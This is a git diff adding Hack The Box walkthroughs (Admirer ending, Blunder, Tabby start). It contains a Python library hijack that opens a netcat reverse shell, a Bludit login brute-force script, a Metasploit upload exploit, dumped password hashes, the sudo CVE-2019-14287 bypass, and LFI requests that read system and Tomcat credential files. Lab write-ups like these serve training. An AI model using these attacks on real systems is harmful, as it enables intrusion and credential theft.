#!/usr/bin/python3 + + from shutil import make_archive + + src = '/var/www/html/' + + # old ftp directory, not used anymore + #dst = '/srv/ftp/html' + + dst = '/var/backups/html' + + make_archive(dst, 'gztar', src) + + + +Since netcat is there on the box, We're going to perform a python library hijacking, and we're going to hijack the **shutil** library in particular: + + + waldo@admirer:~$ mkdir /tmp/nihilist777 + waldo@admirer:~$ nano /tmp/nihilist777/shutil.py + waldo@admirer:~$ cat /tmp/nihilist777/shutil.py + import os + + def make_archive(a,b,c): + os.system("nc 10.10.14.13 9001 -e '/bin/bash'") + + + +then we modify the value of the **PYTHONPATH** environment variable to access our **/tmp/nihilist777** directory: + + + waldo@admirer:~$ PYTHONPATH=/tmp/nihilist777 + waldo@admirer:~$ echo $PYTHONPATH + /tmp/nihilist777 + + waldo@admirer:~$ sudo PYTHONPATH=/tmp/nihilist777 /opt/scripts/admin_tasks.sh + waldo@admirer:~$ sudo PYTHONPATH=/tmp/nihilist777 /opt/scripts/admin_tasks.sh + [sudo] password for waldo: + + [[[ System Administration Menu ]]] + 1) View system uptime + 2) View logged in users + 3) View crontab + 4) Backup passwd file + 5) Backup shadow file + 6) Backup web data + 7) Backup DB + 8) Quit + Choose an option: 6 + + [ 10.10.14.13/23 ] [ /dev/pts/55 ] [~/HTB/Admirer] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.187] 42986 + id + uid=0(root) gid=0(root) groups=0(root) + + cat /root/root.txt + cdXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get a reverse shell as the root user, and get the root flag! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/46_graph.png) + diff --git a/Easy/47.md b/Easy/47.md new file mode 100644 index 0000000..054a1ff --- /dev/null +++ b/Easy/47.md @@ -0,0 +1,523 @@ +# Blunder Writeup + +![](img/47.png) + +## Introduction : + +Blunder is an Easy Linux box released back in May 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [Nextcloud/blog] + → nmap -vvv -p- 10.10.10.191 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.10.10.191 + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [Nextcloud/blog] + → nmap -sCV -p 80 10.10.10.191 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-01 10:16 CEST + Nmap scan report for 10.10.10.191 + Host is up (0.036s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) + |_http-generator: Blunder + |_http-server-header: Apache/2.4.41 (Ubuntu) + |_http-title: Blunder | A blunder of interesting facts + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's examine it: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [Nextcloud/blog] + → gobuster dir -u http://10.10.10.191 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 -x txt,pdf,php,html + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.10.10.191 + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Extensions: txt,pdf,php,html + [+] Timeout: 10s + =============================================================== + 2021/06/01 14:36:08 Starting gobuster in directory enumeration mode + =============================================================== + /.htpasswd.php (Status: 403) [Size: 277] + /.htpasswd.html (Status: 403) [Size: 277] + /.gitignore (Status: 200) [Size: 563] + /.htaccess (Status: 403) [Size: 277] + /.hta.html (Status: 403) [Size: 277] + /.htpasswd (Status: 403) [Size: 277] + /.git/logs/ (Status: 301) [Size: 0] [--> http://10.10.10.191/.git/logs] + /.htaccess.pdf (Status: 403) [Size: 277] + /.hta (Status: 403) [Size: 277] + /.htpasswd.txt (Status: 403) [Size: 277] + /.hta.txt (Status: 403) [Size: 277] + /.htaccess.php (Status: 403) [Size: 277] + /.htpasswd.pdf (Status: 403) [Size: 277] + /.hta.pdf (Status: 403) [Size: 277] + /.htaccess.html (Status: 403) [Size: 277] + /.hta.php (Status: 403) [Size: 277] + /.htaccess.txt (Status: 403) [Size: 277] + /0 (Status: 200) [Size: 7562] + /LICENSE (Status: 200) [Size: 1083] + /about (Status: 200) [Size: 3281] + /admin (Status: 301) [Size: 0] [--> http://10.10.10.191/admin/] + /cgi-bin/ (Status: 301) [Size: 0] [--> http://10.10.10.191/cgi-bin] + /install.php (Status: 200) [Size: 30] + /robots.txt (Status: 200) [Size: 22] + /robots.txt (Status: 200) [Size: 22] + /server-status (Status: 403) [Size: 277] + /todo.txt (Status: 200) [Size: 118] + + =============================================================== + 2021/06/01 14:38:34 Finished + =============================================================== + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [Nextcloud/blog] + → curl http://10.10.10.191/install.php + Bludit is already installed ;)% + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [Nextcloud/blog] + → curl http://10.10.10.191/todo.txt + -Update the CMS + -Turn off FTP - DONE + -Remove old users - DONE + -Inform fergus that the new blog needs images - PENDING + + + +So here get hinted towards a **fergus** username, but most importantly we learn that we may have an outdated Bludit instance, and we look at the index page to find it's version: + +![](prg/47_001.png) + +We can hypothesize that we have a Bludit instance version 3.9.2: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [Nextcloud/blog] + → searchsploit bludit + --------------------------------------- --------------------------------- + Exploit Title | Path + --------------------------------------- --------------------------------- + Bludit 3.9.2 - Authentication Brutefo | php/webapps/48746.rb + Bludit - Directory Traversal Image Fil | php/remote/47699.rb + Bludit 3.9.12 - Directory Traversal | php/webapps/48568.py + Bludit 3.9.2 - Auth Bruteforce Bypass | php/webapps/48942.py + Bludit 3.9.2 - Authentication Brutefor | php/webapps/49037.rb + Bludit 3.9.2 - Directory Traversal | multiple/webapps/48701.txt + bludit Pages Editor 3.0.0 - Arbitrary | php/webapps/46060.txt + --------------------------------------- --------------------------------- + Shellcodes: No Results + + + +First we're going to try and generate a password list using cewl: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Blunder] + → cewl http://10.10.10.191 > passwords.txt + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Blunder] + → cat passwords.txt| wc -l + 350 + + + +Now there is a [blogpost](https://rastating.github.io/bludit-brute-force-mitigation-bypass/) made by rastating about a Bludit bruteforce mitigation bypass, where he wrote a python script but we're going to modify it as follows: + + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Blunder] + → vim exploit.py + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Blunder] + → cat exploit.py + import re + import requests + import sys + + host = 'http://10.10.10.191' + login_url = host + '/admin/login' + username = 'fergus' + + f = open(sys.argv[1], 'r') + for password in f: + if 1 == 1: + password = password.strip() + session = requests.Session() + login_page = session.get(login_url) + csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1) + + headers = { + 'X-Forwarded-For': password, + 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36', + 'Referer': login_url + } + + data = { + 'tokenCSRF': csrf_token, + 'username': username, + 'password': password, + 'save': '' + } + + login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False) + if 'location' in login_result.headers: + if '/admin/dashboard' in login_result.headers['location']: + print() + print('SUCCESS: Password found!') + print('Use {u}:{p} to login.'.format(u = username, p = password)) + print() + break + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Blunder] + → python3 exploit.py passwords.txt + + + [...] + + SUCCESS: Password found! + Use fergus:RolandDeschain to login. + + +Now that we found fergus' password, we're going to use metasploit: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Blunder] + → msfconsole + + msf6 > search bludit + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/linux/http/bludit_upload_images_exec 2019-09-07 excellent Yes Bludit Directory Traversal Image File Upload Vulnerability + + + Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/bludit_upload_images_exec + + msf6 > use 0 + [*] No payload configured, defaulting to php/meterpreter/reverse_tcp + msf6 exploit(linux/http/bludit_upload_images_exec) > show options + + Module options (exploit/linux/http/bludit_upload_images_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BLUDITPASS yes The password for Bludit + BLUDITUSER yes The username for Bludit + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<****path>' + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path for Bludit + VHOST no HTTP server virtual host + + + Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.0.0.10 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 0 Bludit v3.9.2 + + + msf6 exploit(linux/http/bludit_upload_images_exec) > set RHOSTS 10.10.10.191 + RHOSTS => 10.10.10.191 + msf6 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus + BLUDITUSER => fergus + msf6 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain + BLUDITPASS => RolandDeschain + msf6 exploit(linux/http/bludit_upload_images_exec) > set TARGETURI / + TARGETURI => / + msf6 exploit(linux/http/bludit_upload_images_exec) > set LHOST 10.10.14.13 + LHOST => 10.10.14.13 + msf6 exploit(linux/http/bludit_upload_images_exec) > exploit + + [*] Started reverse TCP handler on 10.10.14.13:4444 + [+] Logged in as: fergus + [*] Retrieving UUID... + [*] Uploading UPAsUhCpbE.png... + [*] Uploading .htaccess... + [*] Executing UPAsUhCpbE.png... + [*] Sending stage (39282 bytes) to 10.10.10.191 + [+] Deleted .htaccess + [*] Meterpreter session 1 opened (10.10.14.13:4444 -> 10.10.10.191:56032) at 2021-06-01 14:59:38 +0200 + + + meterpreter > sysinfo + Computer : blunder + OS : Linux blunder 5.3.0-53-generic #47-Ubuntu SMP Thu May 7 12:18:16 UTC 2020 x86_64 + Meterpreter : php/linux + + meterpreter > shell + Process 4491 created. + Channel 0 created. + + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + +And we got a reverse shell as www-data! Now as we take a look around we see the following: + + + cd .. + ls -lash + total 28K + 4.0K drwxr-xr-x 7 www-data www-data 4.0K Nov 27 2019 . + 4.0K drwxrwxr-x 8 www-data www-data 4.0K Apr 28 2020 .. + 4.0K drwxr-xr-x 3 www-data www-data 4.0K May 19 2020 databases + 4.0K drwxr-xr-x 8 www-data www-data 4.0K Apr 28 2020 pages + 4.0K drwxr-xr-x 3 www-data www-data 4.0K Jun 1 14:07 tmp + 4.0K drwxr-xr-x 5 www-data www-data 4.0K Nov 27 2019 uploads + 4.0K drwxr-xr-x 4 www-data www-data 4.0K Nov 27 2019 workspaces + + ls -lash databases + total 80K + 4.0K drwxr-xr-x 3 www-data www-data 4.0K May 19 2020 . + 4.0K drwxr-xr-x 7 www-data www-data 4.0K Nov 27 2019 .. + 4.0K -rw-r--r-- 1 www-data www-data 438 Apr 28 2020 categories.php + 4.0K -rw-r--r-- 1 www-data www-data 3.4K Apr 28 2020 pages.php + 4.0K drwxr-xr-x 6 www-data www-data 4.0K Nov 27 2019 plugins + 44K -rw-r--r-- 1 www-data www-data 42K Jun 1 14:01 security.php + 4.0K -rw-r--r-- 1 www-data www-data 1.3K May 19 2020 site.php + 4.0K -rw-r--r-- 1 www-data www-data 2.3K Apr 28 2020 syslog.php + 4.0K -rw-r--r-- 1 www-data www-data 52 Apr 28 2020 tags.php + 4.0K -rw-r--r-- 1 www-data www-data 1.3K Apr 28 2020 users.php + + cd databases + cat users.php + <****?php defined('BLUDIT') or die('Bludit CMS.'); ?> + { + "admin": { + "nickname": "Admin", + "firstName": "Administrator", + "lastName": "", + "role": "admin", + "password": "bfcc887f62e36ea019e3295aafb8a3885966e265", + "salt": "5dde2887e7aca", + "email": "", + "registered": "2019-11-27 07:40:55", + "tokenRemember": "", + "tokenAuth": "b380cb62057e9da47afce66b4615107d", + "tokenAuthTTL": "2009-03-15 14:00", + "twitter": "", + "facebook": "", + "instagram": "", + "codepen": "", + "linkedin": "", + "github": "", + "gitlab": "" + }, + "fergus": { + "firstName": "", + "lastName": "", + "nickname": "", + "description": "", + "role": "author", + "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7", + "salt": "jqxpjfnv", + "email": "", + "registered": "2019-11-27 13:26:44", + "tokenRemember": "", + "tokenAuth": "0e8011811356c0c5bd2211cba8c50471", + "tokenAuthTTL": "2009-03-15 14:00", + "twitter": "", + "facebook": "", + "codepen": "", + "instagram": "", + "github": "", + "gitlab": "", + "linkedin": "", + "mastodon": "" + } + } + + cat users.php | grep password + "password": "bfcc887f62e36ea019e3295aafb8a3885966e265", + "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7", + + cat users.php | grep salt + "salt": "5dde2887e7aca", + "salt": "jqxpjfnv", + +And here we see that we found potential encrypted credentials: + + + ls -lash /home + total 16K + 4.0K drwxr-xr-x 4 root root 4.0K Apr 27 2020 . + 4.0K drwxr-xr-x 21 root root 4.0K Apr 27 2020 .. + 4.0K drwxr-xr-x 16 hugo hugo 4.0K May 26 2020 hugo + 4.0K drwxr-xr-x 16 shaun shaun 4.0K Apr 28 2020 shaun + + + +There are 2 users on the box: hugo and shaun so let's try to crack the 2 passwords: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Blunder] + → cat users.txt salt passwords.enc + hugo + shaun + 5dde2887e7aca + jqxpjfnv + bfcc887f62e36ea019e3295aafb8a3885966e265 + be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7 + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Blunder] + → hash-identifier + ######################################################################### + # __ __ __ ______ _____ # + # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # + # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # + # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # + # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # + # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # + # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # + # By Zion3R # + # www.Blackploit.com # + # Root@Blackploit.com # + ######################################################################### + -------------------------------------------------- + HASH: bfcc887f62e36ea019e3295aafb8a3885966e265 + + Possible Hashs: + [+] SHA-1 + [+] MySQL5 - SHA-1(SHA-1($pass)) + + HASH: be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7 + + Possible Hashs: + [+] SHA-1 + [+] MySQL5 - SHA-1(SHA-1($pass)) + + +So here we are hinted towards the passwords being SHA-1 so let's use john to try and crack them, but no, the trick here was to take a step back and see if there were any other passwords to be found ! + + + pwd + /var/www/bludit-3.9.2/bl-content/databases + + cd ../../.. + + ls -lash + total 20K + 4.0K drwxr-xr-x 5 root root 4.0K Nov 28 2019 . + 4.0K drwxr-xr-x 15 root root 4.0K Nov 27 2019 .. + 4.0K drwxr-xr-x 8 www-data www-data 4.0K May 19 2020 bludit-3.10.0a + 4.0K drwxrwxr-x 8 www-data www-data 4.0K Apr 28 2020 bludit-3.9.2 + 4.0K drwxr-xr-x 2 root root 4.0K Nov 28 2019 html + + + +And here we see that there is a bludit 3.10.0a version ! so let's see if there are any credentials that probably got left behind in there: + + + cd bludit-3.10.0a/bl-content/databases/ + cat users.php + <****?php defined('BLUDIT') or die('Bludit CMS.'); ?> + { + "admin": { + "nickname": "Hugo", + "firstName": "Hugo", + "lastName": "", + "role": "User", + "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d", + "email": "", + "registered": "2019-11-27 07:40:55", + "tokenRemember": "", + "tokenAuth": "b380cb62057e9da47afce66b4615107d", + "tokenAuthTTL": "2009-03-15 14:00", + "twitter": "", + "facebook": "", + "instagram": "", + "codepen": "", + "linkedin": "", + "github": "", + "gitlab": ""} + } + +And here we have the hugo user's encrypted passowrd let's assume that it is also SHA-1 to crack them we can use [crackstation.net](https://crackstation.net/): + +![](prg/47_002.png) + +Here we see that taking a step back to find hugo's password was the right decision, so let's privesc to the hugo user: + + + su - hugo + Password: Password120 + id + uid=1001(hugo) gid=1001(hugo) groups=1001(hugo) + cat user.txt + 32XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now that's done, the way to find root access onto the box is to check the version of sudo after we spawn a TTY: + + + python -c 'import pty;pty.spawn("/bin/bash")' + hugo@blunder:~$ sudo -l + sudo -l + Password: Password120 + + Matching Defaults entries for hugo on blunder: + env_reset, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User hugo may run the following commands on blunder: + (ALL, !root) /bin/bash + hugo@blunder:~$ sudo --version + sudo --version + Sudo version 1.8.25p1 + Sudoers policy plugin version 1.8.25p1 + Sudoers file grammar version 46 + Sudoers I/O plugin version 1.8.25p1 + + + +Here we have an outdated version of sudo which is vulnerable to CVE2019-14287 which is very trivial to exploit: + + + hugo@blunder:~$ sudo -u#-1 /bin/bash + sudo -u#-1 /bin/bash + root@blunder:/home/hugo# id + id + uid=0(root) gid=1001(hugo) groups=1001(hugo) + root@blunder:/home/hugo# cat /root/root.txt + cat /root/root.txt + 53XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to spawn a root shell and print the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/47_graph.png) + diff --git a/Easy/48.md b/Easy/48.md new file mode 100644 index 0000000..6168d16 --- /dev/null +++ b/Easy/48.md @@ -0,0 +1,637 @@ +# Tabby Writeup + +![](img/48.png) + +## Introduction : + +Tabby is an easy Linux box released back in June 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB] + → nmap -vvv -p- 10.10.10.194 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.10.10.194 + Discovered open port 8080/tcp on 10.10.10.194 + Discovered open port 80/tcp on 10.10.10.194 + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → nmap -sCV -p 22,8080,80 10.10.10.194 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-02 07:52 CEST + Nmap scan report for 10.10.10.194 + Host is up (0.037s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA) + | 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA) + |_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519) + 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) + |_http-server-header: Apache/2.4.41 (Ubuntu) + |_http-title: Mega Hosting + 8080/tcp open http Apache Tomcat + |_http-title: Apache Tomcat + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 8.24 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80: + +![](prg/48_001.png) + +So here we found a domain name and a hyperlink leading to **megahosting.htb** so let's add it to our hosts file: + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → sudo -i + [sudo] password for nothing: + + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.194 megahosting.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# exit + + + +And when we click the hyperlink to the data breach we get the following: + +![](prg/48_002.png) + +Here we see that this is a php file with the **file** parameter and let's try to see if there is any LFI by trying to read system files such as **/etc/passwd** : + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → curl http://megahosting.htb/news.php\?file\=../../../../../../../../etc/passwd + root:x:0:0:root:/root:/bin/bash + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + bin:x:2:2:bin:/bin:/usr/sbin/nologin + sys:x:3:3:sys:/dev:/usr/sbin/nologin + sync:x:4:65534:sync:/bin:/bin/sync + games:x:5:60:games:/usr/games:/usr/sbin/nologin + man:x:6:12:man:/var/cache/man:/usr/sbin/nologin + lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin + mail:x:8:8:mail:/var/mail:/usr/sbin/nologin + news:x:9:9:news:/var/spool/news:/usr/sbin/nologin + uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin + proxy:x:13:13:proxy:/bin:/usr/sbin/nologin + www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin + backup:x:34:34:backup:/var/backups:/usr/sbin/nologin + list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin + irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin + gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin + nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin + systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin + systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin + systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin + messagebus:x:103:106::/nonexistent:/usr/sbin/nologin + syslog:x:104:110::/home/syslog:/usr/sbin/nologin + _apt:x:105:65534::/nonexistent:/usr/sbin/nologin + tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false + uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin + tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin + landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin + pollinate:x:110:1::/var/cache/pollinate:/bin/false + sshd:x:111:65534::/run/sshd:/usr/sbin/nologin + systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin + lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false + tomcat:x:997:997::/opt/tomcat:/bin/false + mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false + **ash:x:1000:1000:clive:/home/ash:/bin/bash** + + + + +Here we see that the **file** php arguement is vulnerable to LFI, and we now know that **ash** is a valid user on this box. Now let's move over to port 8080 with tomcat: + +![](prg/48_003.png) + +Here we have a tomcat9 instance, let's scan for hidden directories there with ffuf: + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → ffuf -u http://10.10.10.194:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,307,401 -t 50 + + /'___\ /'___\ /'___\ + /\ \__/ /\ \__/ __ __ /\ \__/ + \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ + \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ + \ \_\ \ \_\ \ \____/ \ \_\ + \/_/ \/_/ \/___/ \/_/ + + v1.3.1 Kali Exclusive + ________________________________________________ + + :: Method : GET + :: URL : http://10.10.10.194:8080/FUZZ + :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt + :: Follow redirects : false + :: Calibration : false + :: Timeout : 10 + :: Threads : 50 + :: Matcher : Response status: 200,204,301,302,307,401 + ________________________________________________ + + docs [Status: 302, Size: 0, Words: 1, Lines: 1] + examples [Status: 302, Size: 0, Words: 1, Lines: 1] + host-manager [Status: 302, Size: 0, Words: 1, Lines: 1] + index.html [Status: 200, Size: 1895, Words: 201, Lines: 30] + **manager [Status: 302, Size: 0, Words: 1, Lines: 1]** + :: Progress: [4686/4686] :: Job [1/1] :: 1211 req/sec :: Duration: [0:00:04] :: Errors: 0 :: + + +And here we found the manager page with the 302 status code, so we need to authenticate there: + +![](prg/48_004.png) + +Now obviously putting in admin/admin doesn't get us in, however when we close it to get the 401 Unauthorized error code we get something interesting: + +![](prg/48_005.png) + +Here we see the original credentials **tomcat:s3cret** , however they got changed obviously, so instead we shift our attention to the fact that the credentials are stored in the **conf/tomcat-users.xml** file, so let's use the LFI to get it: + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → curl http://megahosting.htb/news.php\?file\=../../../../usr/share/tomcat9/conf/tomcat-users.xml + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → curl http://megahosting.htb/news.php\?file\=../../../../usr/share/tomcat9/etc/tomcat-users.xml + <****?xml version="1.0" encoding="UTF-8"?> <****!-- + Licensed to the Apache Software Foundation (ASF) under one or more + contributor license agreements. See the NOTICE file distributed with + this work for additional information regarding copyright ownership. + The ASF licenses this file to You under the Apache License, Version 2.0 + (the "License"); you may not use this file except in compliance with + the License. You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> <****tomcat-users xmlns="http://tomcat.apache.org/xml" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" + version="1.0"> <****!-- + NOTE: By default, no user is included in the "manager-gui" role required + to operate the "/manager/html" web application. If you wish to use this app, + you must define such a user - the username and password are arbitrary. It is + strongly recommended that you do NOT use one of the users in the commented out + section below since they are intended for use with the examples web + application. + --> <****!-- + NOTE: The sample user and role entries below are intended for use with the + examples web application. They are wrapped in a comment and thus are ignored + when reading this file. If you wish to configure these users for use with the + examples web application, do not forget to remove the that surrounds + them. You will also need to set the passwords to something appropriate. + --> + <****!-- <****role rolename="tomcat"/> <****role rolename="role1"/> <****user username="tomcat" password=" <****must-be-changed>" roles="tomcat"/> <****user username="both" password=" <****must-be-changed>" roles="tomcat,role1"/> <****user username="role1" password=" <****must-be-changed>" roles="role1"/> + --> <****role rolename="admin-gui"/> <****role rolename="manager-script"/> <****user**username="tomcat" password="$3cureP4s5w0rd123!"** roles="admin-gui,manager-script"/> + <****/tomcat-users> + +And here we found credentials for tomcat: **tomcat:$3cureP4s5w0rd123!** + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → ffuf -u http://10.10.10.194:8080/manager/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,307,401 -t 50 + + /'___\ /'___\ /'___\ + /\ \__/ /\ \__/ __ __ /\ \__/ + \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ + \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ + \ \_\ \ \_\ \ \____/ \ \_\ + \/_/ \/_/ \/___/ \/_/ + + v1.3.1 Kali Exclusive + ________________________________________________ + + :: Method : GET + :: URL : http://10.10.10.194:8080/manager/FUZZ + :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt + :: Follow redirects : false + :: Calibration : false + :: Timeout : 10 + :: Threads : 50 + :: Matcher : Response status: 200,204,301,302,307,401 + ________________________________________________ + + html [Status: 401, Size: 2499, Words: 457, Lines: 64] + images [Status: 302, Size: 0, Words: 1, Lines: 1] + status [Status: 401, Size: 2499, Words: 457, Lines: 64] + **text [Status: 401, Size: 2499, Words: 457, Lines: 64]** + + + +Here we get the /manager/text URI and if we lookup the tomcat documentation, this is where the sysadmin can execute commands, so let's investigate it, and we can do that from curl: + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → curl -u tomcat:\$3cureP4s5w0rd123! http://10.10.10.194:8080/manager/text/list + OK - Listed applications for virtual host [localhost] + /:running:0:ROOT + /examples:running:0:/usr/share/tomcat9-examples/examples + /host-manager:running:0:/usr/share/tomcat9-admin/host-manager + /manager:running:0:/usr/share/tomcat9-admin/manager + /docs:running:0:/usr/share/tomcat9-docs/docs + + + +So from here, just like for the [Kotarak](../Hard/7.html) box, we can upload a malicious WAR file to get us a shell, we're going to generate it using msfvenom: + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → msfvenom -l payloads | grep java\ + pipe> + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → msfvenom -l payloads | grep java + java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell + java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell + java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection + java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP + java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS + java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager + java/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh 